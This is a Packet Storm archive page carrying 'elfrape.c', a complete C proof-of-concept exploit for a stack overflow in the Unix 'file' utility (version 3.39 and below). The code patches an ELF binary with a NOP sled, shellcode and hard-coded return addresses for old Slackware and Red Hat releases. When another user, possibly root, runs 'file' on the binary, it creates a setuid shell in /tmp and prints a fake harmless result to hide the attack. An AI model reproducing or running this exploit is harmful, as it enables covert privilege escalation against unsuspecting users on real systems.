what you don't know can hurt you
Home Files News &[SERVICES_TAB]About Contact Add New

elfrape.c

elfrape.c
Posted Jun 22, 2004

Proof of concept exploit that will patch an ELF binary to utilize the stack overflow in file 3.39 and below. If someone runs file against said binary, a suid shell is created as /tmp/.sh of that uid.

tags | exploit, overflow, shell, proof of concept
SHA-256 | 15a084aac71ca804bb1ff97e1ca230d473228271616ff4493d50b4b2a3d11cd4

elfrape.c

Change Mirror Download
/*
** elfrape
** a glorified stack overflow in file<=3.39
**
** "lame code for a lame bug"
**
** this bug was discovered by iDEFENSE retards
** (actually i discovered it and they bought it from
** me for $8, all that it is really worth)
**
** this code is mainly proof of concept and it has very little use
** "in the wild" unless your sysadmins and friends are morons.
**
** specify a valid elf binary, and elfrape will patch it so that
** it will exploit a stack overflow in file<=3.39. this exploit
** relies on the victim user (possibly root, but not required) to
** run file <patchedbinary>.
**
** a glorified stack overflow in file<=3.39
**
** file-3.37/readelf.c:tryelf()
** doshn(class, swap,
** fd,
** getu32(swap, elfhdr.e_shoff),
** getu16(swap, elfhdr.e_shnum),
** getu16(swap, elfhdr.e_shentsize));
**
** note that we can manipulate elfhdr.
** in doshn() we find a very bad thing...
**
** file-3.37/readelf.c:doshn()
** if (read(fd, sh_addr, size) == -1)
**
** now, fd is the file its processing, sh_addr is the address of a 32 byte char.
** size is the value read from the header (elfhdr.e_shentsize). So we make
** e_shentsize bigger then it should and voila, we got eip pretty easily.
** the shellcode cant easily be placed after the address however because file is very
** sensitive about its fd and the loop variable num being overwritten (it will either
** complain about bad fd and exit or hang in the loop). trying to preserve the values of
** each seemed stupid, so i found the best spot for
** the shellcode placement was in the beginning of the file, after the elf header
** because in the beginning of processing, file reads HOWMANY bytes from the start of the
** file onto the stack.
**
** #define HOWMANY 16384
**
** that makes for a pretty large landing pad, pop a few thousand nops in there
** and this should be a pretty reliable method.
**
** the shellcode also makes sure to output a seemingly genuine result, which will
** always be filename: data
**
** (16:11)[xx@keystone:~/audit/file]$cp /bin/sln sln
** (16:11)[xx@keystone:~/audit/file]$./elfrape -t 0 -f sln
** elfrape file<=3.39 priveledge escalation exploit
** [patching sln, trying to hit 0xbfffbab0]
** [setting section header size to trigger overwrite (0x32 bytes)]
** [setting section header entries to 1 to avoid a big mess on the stack]
** [writing new header to file]
** [writing target address to file @offset 0x5f4f0]
** [filling file with nops and shell code @offset 0x34]
** [exploit done]
** after someone runs 'file sln', execute /tmp/.sh
** (16:11)[xx@keystone:~/audit/file]$cp sln /tmp/whatami
** (16:11)[xx@keystone:~/audit/file]$echo and now we wait...
**
** typical sp offsets for -o mode are from -2000 to -6000
**
** Will create a 6755 /bin/.sh :>
**
** Note: may not work if used on files less than 8k or so.
*/

#include <stdio.h>
#include <fcntl.h>
#include <sys/types.h>
#include <errno.h>
#include <string.h>

#define MAX_FILENAME 17 /* the longest filename i suggest you use */

#define SHELL "/bin/ash" /* a shell that doesnt do seteuid(getuid()); ash,ksh,zsh,etc */

#define LANDING_SIZE 8192 /* pretty big considering its just nops and shellcode */

/* shellcode shamelessly stolen (from ?) and modified */

char shellcode[] =
"\x31\xc0\x31\xdb\x31"
"\xd2"
"\x68" "\x00\x00\x00\x00"
"\x68" "\x00\x00\x00\x00"
"\x68" "\x00\x00\x00\x00"
"\x68" "\x00\x00\x00\x00"
"\x68" "\x00\x00\x00\x00"
"\x68" "\x00\x00\x00\x00"
"\x68" "\x00\x00\x00\x00"
"\x89\xe1\xb2\x20\x43\xb0\x04\xcd\x80\x31\xc0"
"\xeb\x31\x5e\x89\x76\xac\x8d\x5e\x08\x89\x5e\xb0"
"\x8d\x5e\x0b\x89\x5e\xb4\x31\xc0\x88\x46\x07\x88"
"\x46\x0a\x88\x46\xab\x89\x46\xb8\xb0\x0b\x89\xf3"
"\x8d\x4e\xac\x8d\x56\xb8\xcd\x80\x31\xdb\x89\xd8"
"\x40\xcd\x80\xe8\xca\xff\xff\xff/bin/sh -c "
"/bin/cp " SHELL " /tmp/.sh;chmod 6755 /tmp/.sh";

#define EI_NIDENT 16

typedef unsigned short int Elf32_Half;
typedef unsigned long int Elf32_Word;
typedef unsigned long int Elf32_Addr;
typedef unsigned long int Elf32_Off;

typedef struct
{
unsigned char e_ident[EI_NIDENT];
Elf32_Half e_type;
Elf32_Half e_machine;
Elf32_Word e_version;
Elf32_Addr e_entry;
Elf32_Off e_phoff;
Elf32_Off e_shoff;
Elf32_Word e_flags;
Elf32_Half e_ehsize;
Elf32_Half e_phentsize;
Elf32_Half e_phnum;
Elf32_Half e_shentsize;
Elf32_Half e_shnum;
Elf32_Half e_shtrndx;
}
Elf32_Ehdr;



struct targets
{
int target;
char *description;
Elf32_Half e_shentsize;
Elf32_Off e_shoff_delta;
unsigned long int addr;
};

struct targets targets[] = {
{0, "Slackware 8.1 (file-3.37-3.1)", 50, 44, 0xbfffc19c},
{1, "Red Hat Linux release 7.2 (Enigma) (file-3.35)", 80, 76, 0xbfffc19c},
{2, "Red Hat Linux release 6.2 (Zoot) (file-3.28)", 50, 44, 0xbfffc19c},
{0, NULL, 0, 0, 0}
};

extern char *optarg;
extern int optind;

void prepare_write_shellcode (char *program);
unsigned long get_sp (void);
void usage (char *argv0);

unsigned long
get_sp (void)
{
__asm__ ("movl %esp,%eax");
}

int
main (int argc, char *argv[])
{
int offset, fd, ix, nbytes, c, target = -1;
unsigned char buff[sizeof (Elf32_Ehdr)];
unsigned char attack[LANDING_SIZE];
unsigned char *file = NULL;
Elf32_Ehdr *ehdr;
Elf32_Off e_shoff;
Elf32_Half e_shnum;

Elf32_Half e_shentsize = 50;
Elf32_Off e_shoff_delta;
unsigned long int addr = 1;

while ((c = getopt (argc, argv, "t:f:o:")) != -1)
{
switch (c)
{
case 't':
target = atoi (optarg);
break;
case 'f':
file = (char *) strdup (optarg);
break;
case 'o':
addr = 0;
offset = atoi (optarg);
break;
default:
usage (argv[0]);
break;
}
}

printf
("elfrape file<=3.39 priveledge escalation exploit ");

if (!(file) || ((target == -1) && (addr)))
usage (argv[0]);

if (strchr(file,'/'))
{ printf("NO fucking slashes douchebag\n"); exit(-1); }

if (strlen(file) > MAX_FILENAME)
{ printf("Smaller filename please, unless you feel like editing the shell code\n");exit(-1); }

if (target >= 0)
{
if (target >= sizeof (targets) / sizeof (targets[0]) - 1)
{
fprintf (stderr, "Invalid type\n");
exit (-1);
}
e_shentsize = targets[target].e_shentsize;
e_shoff_delta = targets[target].e_shoff_delta;
addr = targets[target].addr;
}

if ((fd = open (file, O_RDWR)) < 0)
{
perror ("open()");
exit (-1);
}
if ((nbytes = read (fd, (char *) buff, sizeof (Elf32_Ehdr))) == -1)
{
error ("read failed (%s).\n", strerror (errno));
exit (-1);
}

ehdr = (Elf32_Ehdr *) buff;


if (addr == 0)
addr = get_sp () - offset; /* we have a big enough landing point that this addr should work */

printf (" [patching %s, tring to hit 0x%x]\n", file, addr);
printf
(" [setting section header size to trigger overwrite (0x%x bytes)]\n",
e_shentsize);
ehdr->e_shentsize = e_shentsize;
printf
(" [setting section header entries to 1 to avoid a big mess on the stack]\n");
ehdr->e_shnum = 1;

/* write the new elf header to the file */
printf (" [writing new header to file]\n");
if (lseek (fd, 0, SEEK_SET) == (off_t) - 1)
{
perror ("lseek()");
exit (-1);
}
if (write (fd, buff, sizeof (*ehdr)) == -1)
{
perror ("write()");
exit (-1);
}

/* seek to where we want our address to wait */
printf (" [writing target address to file @offset 0x%x]\n",
ehdr->e_shoff + e_shoff_delta);
if (lseek (fd, ehdr->e_shoff + e_shoff_delta, SEEK_SET) == (off_t) - 1)
{
perror ("lseek()");
exit (-1);
}
write (fd, &addr, 4);

memset (attack, 0x90, LANDING_SIZE);
prepare_write_shellcode (file);
memcpy (attack + LANDING_SIZE - sizeof (shellcode) - 1, shellcode,
sizeof (shellcode));
attack[LANDING_SIZE - 1] = 0x0;
printf (" [filling file with nops and shell code @offset 0x%x]\n",
sizeof (*ehdr));
/* set offset to just after the header, where our code will be */
if (lseek (fd, sizeof (*ehdr), SEEK_SET) == (off_t) - 1)
{
perror ("lseek()");
exit (-1);
}
if (write (fd, attack, LANDING_SIZE) == -1)
{
perror ("write()");
exit (-1);
}
printf (" [exploit done]\n");
printf ("after someone runs 'file %s', execute /tmp/.sh\n", file);
close (fd);
return 0;
}

void
usage (char *argv0)
{
int ix = 0;
printf ("Usage: %s -t <target num> -f <existing elf binary filename>\n",
argv0);
printf
(" %s -o <offset from sp> -f <existing elf binary filename>\n\n",
argv0);
while (targets[ix].target || ix == 0)
{
printf ("\t#%d: %s\n", targets[ix].target, targets[ix].description);
ix++;
}
exit (-1);
}

/* a quick and dirty hack to let the shellcode have the correct filename */
void
prepare_write_shellcode (char *program)
{
char *buf;
int ix;
char *ptr = shellcode + 37;

buf = (char *) malloc (strlen (program) + strlen (": data\n"));
memcpy (buf, program, strlen (program));
memcpy (buf + strlen (program), ": data\n", 7);
for (ix = 0; ix < strlen (buf); ix++)
{
if (ix && (ix % 4 == 0))
ptr -= 9;
*ptr = buf[ix];
ptr++;
}

free (buf);
return;
}
Login or Register to add favorites

File Archive:

September 2024

  • Su
  • Mo
  • Tu
  • We
  • Th
  • Fr
  • Sa
  • 1
    Sep 1st
    261 Files
  • 2
    Sep 2nd
    17 Files
  • 3
    Sep 3rd
    38 Files
  • 4
    Sep 4th
    52 Files
  • 5
    Sep 5th
    23 Files
  • 6
    Sep 6th
    27 Files
  • 7
    Sep 7th
    0 Files
  • 8
    Sep 8th
    1 Files
  • 9
    Sep 9th
    16 Files
  • 10
    Sep 10th
    38 Files
  • 11
    Sep 11th
    21 Files
  • 12
    Sep 12th
    40 Files
  • 13
    Sep 13th
    18 Files
  • 14
    Sep 14th
    0 Files
  • 15
    Sep 15th
    0 Files
  • 16
    Sep 16th
    21 Files
  • 17
    Sep 17th
    51 Files
  • 18
    Sep 18th
    23 Files
  • 19
    Sep 19th
    48 Files
  • 20
    Sep 20th
    36 Files
  • 21
    Sep 21st
    0 Files
  • 22
    Sep 22nd
    0 Files
  • 23
    Sep 23rd
    38 Files
  • 24
    Sep 24th
    65 Files
  • 25
    Sep 25th
    24 Files
  • 26
    Sep 26th
    26 Files
  • 27
    Sep 27th
    0 Files
  • 28
    Sep 28th
    0 Files
  • 29
    Sep 29th
    0 Files
  • 30
    Sep 30th
    0 Files

Top Authors In Last 30 Days

File Tags

Systems

packet storm

© 2024 Packet Storm. All rights reserved.

Services
Security Services
Hosting By
Rokasec
close